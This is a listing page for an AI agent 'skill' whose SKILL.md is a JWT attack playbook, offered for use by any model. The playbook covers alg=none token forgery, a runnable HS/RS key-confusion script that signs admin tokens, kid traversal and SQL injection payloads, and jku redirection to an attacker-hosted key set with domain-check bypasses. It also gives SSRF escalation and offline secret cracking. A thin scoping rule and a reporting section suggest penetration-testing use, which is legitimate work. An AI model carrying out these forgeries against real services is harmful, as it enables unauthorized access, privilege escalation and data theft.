Jwt logo

Jwt

CommunityPopular
PentesterFlow
jwt

JWT attack playbook — algorithm confusion (alg=none, HS/RS confusion), kid path traversal/SQLi, jku/x5u SSRF, weak HS256 cracking, and embedded JWK trickery. Use when the target uses JWTs for auth (header.payload.signature).

Overview

PublisherPentesterFlow
Repositoryagent
Skill namejwt
Stars
1.4K
Forks
248
Bundled files
3
LicenseApache-2.0
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • 3 bundled files

    Scripts, templates, and references the model can read while it works. Files are read-only and never executed.

  • Open source

    Published by PentesterFlow on GitHub. Read the source before you install it.

Installation

Install the Jwt AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/PentesterFlow/agent.git /tmp/agent
mkdir -p .claude/skills
cp -r /tmp/agent/skills/jwt .claude/skills/jwt
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Jwt in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Jwt on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Jwt is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

JWT playbook

You have one or more eyJ... tokens. The goal is to forge an authenticated token that the server accepts.

Execution rule: use real tokens, URLs, and keys from the scoped target before running commands. Never write literal placeholders such as <payload-b64> or <future> to files; if a value is missing, ask once.

0. Decode every token you have

Base64url-decode header and payload. Note:

  • alg — algorithm. none, HS256, HS384, HS512, RS256, RS384, RS512, ES256, ES384, ES512, PS256...
  • kid — key identifier (path / id pointing at a key on the server).
  • jku — URL to a JWK Set hosting the signing keys.
  • jwk — embedded JWK.
  • x5u — URL to an X.509 certificate.
  • x5c — embedded X.509 chain.
sh
echo "<payload-b64>" | base64 -d | jq .

Capture the user id / role field for later forgery (sub, uid, role, isAdmin, ...).

1. alg=none

Many libraries used to (and a few still do) accept {"alg":"none"} and skip signature verification. Forge:

header  = base64url({"alg":"none","typ":"JWT"})
payload = base64url({"sub":"admin","role":"admin","exp":<future>})
signature = ""           # empty, but the trailing dot stays
token = header + "." + payload + "."

Variants to try: none, None, NONE, NoNe (case fuzzing) — read_payloads(skill="jwt", file="alg-none-variants.txt").

2. HS/RS algorithm confusion

If the server expects RS256 (asymmetric, verifies with public key) and you can obtain the public key, you can forge an HS256 token signed with the public key as the HMAC secret.

Find the public key:

  • /.well-known/jwks.json, /jwks.json, /api/jwks, /oauth2/jwks, /jwks_uri from OIDC discovery.
  • Sometimes embedded in a JS bundle (grep -E "BEGIN PUBLIC KEY" -r).

Forge with hs-rs-confusion.sh:

sh
PUB=$(curl -s https://target/.well-known/jwks.json | jq -r '.keys[0]' | jose key -i- -O pem.pub)
HEAD=$(printf '%s' '{"alg":"HS256","typ":"JWT"}' | base64url)
PAYL=$(printf '%s' '{"sub":"admin","exp":2000000000}' | base64url)
SIG=$(printf '%s.%s' "$HEAD" "$PAYL" | openssl dgst -sha256 -hmac "$(cat pem.pub)" -binary | base64url)
echo "$HEAD.$PAYL.$SIG"

(base64url here is base64 | tr '+/' '-_' | tr -d '='.)

3. kid path traversal / SQLi

kid is often used as a database lookup or file path. Try injecting:

  • ../../../../../../dev/null — server reads /dev/null (empty string) as the key. HMAC over an empty key is predictable; sign with "".
  • ../../../../../../etc/passwd — succeeds if the server is parsing the file as the key. (Has happened.)
  • SQLi: kid = ' UNION SELECT 'aaaa' -- — server returns "aaaa" as the key, sign with that.
  • Null-byte truncation on older parsers.

Payloads in read_payloads(skill="jwt", file="kid-injection.txt").

4. jku / x5u → SSRF + key control

If the server fetches the JWKS at the URL in the jku (or x5u) header, you control the key:

  1. Host your own JWKS containing a key you generated.
  2. Sign the token with the matching private key.
  3. Set jku to your URL.

Bypasses if the server validates jku against a domain:

  • Open redirect on the trusted domain: jku=https://target.com/redirect?to=attacker.com/jwks.json.
  • @ trick: jku=https://target.com@attacker.com/jwks.json.
  • Subdomain takeover on a wildcard-trusted domain.

If the validation rejects you entirely, this is still a server-side fetch — escalate per the [[ssrf]] skill (hit metadata, internal hosts) even without forging a token.

5. Embedded jwk

Some libraries trust an embedded jwk in the header. Generate a fresh keypair, embed the public key in the header, sign with the private key — the server uses what you embedded.

python
# minimal forge using python-jose / authlib

6. Weak HS256 secret

If alg=HS256, try to crack the HMAC secret offline:

sh
hashcat -m 16500 token.jwt rockyou.txt
john --format=HMAC-SHA256 token.jwt

Common secrets to try first: secret, your-256-bit-secret, change-me, the company name, the API base hostname, an env-var-looking string. See read_payloads(skill="jwt", file="weak-secrets.txt").

7. Header smuggling / cty confusion

  • cty: "JWT" — chain another JWT inside; some libraries unwrap.
  • Duplicate keys in the JSON header (some parsers take first, others last).
  • Trailing data after the signature (some parsers ignore).

8. Sliding-window expiry

exp not enforced? nbf in the future ignored? Replay a long-expired admin token.

Reporting

Required evidence:

  • The original token (redact sensitive payload fields).
  • The forged token (full).
  • The exact request that demonstrates impact (e.g. GET /api/admin/users with the forged token returns 200 with user data).
  • Server response showing privileges granted.

For "alg=none accepted" without a payload that actually unlocks something useful, that's typically Medium / Low — call out the specific endpoints that the forged token authenticates to.

Bundled files

The model reads these on demand while the skill is loaded. They are exposed as readable files and are never executed.

Frequently asked questions

What does the Jwt AI skill do?

JWT attack playbook — algorithm confusion (alg=none, HS/RS confusion), kid path traversal/SQLi, jku/x5u SSRF, weak HS256 cracking, and embedded JWK trickery. Use when the target uses JWTs for auth (header.payload.signature).

Why use Jwt on TypingMind?

Because you install it once and use it with any model. Jwt is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Jwt in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/PentesterFlow/agent/tree/main/skills/jwt. TypingMind reads its SKILL.md and bundles its files and installs it as a skill you can enable per chat.

Which AI models can use Jwt?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Jwt?

As many as you like. As long as a model supports skills, you can use Jwt with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Jwt AI skill free?

Yes. It is published on GitHub by PentesterFlow under the Apache-2.0 license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇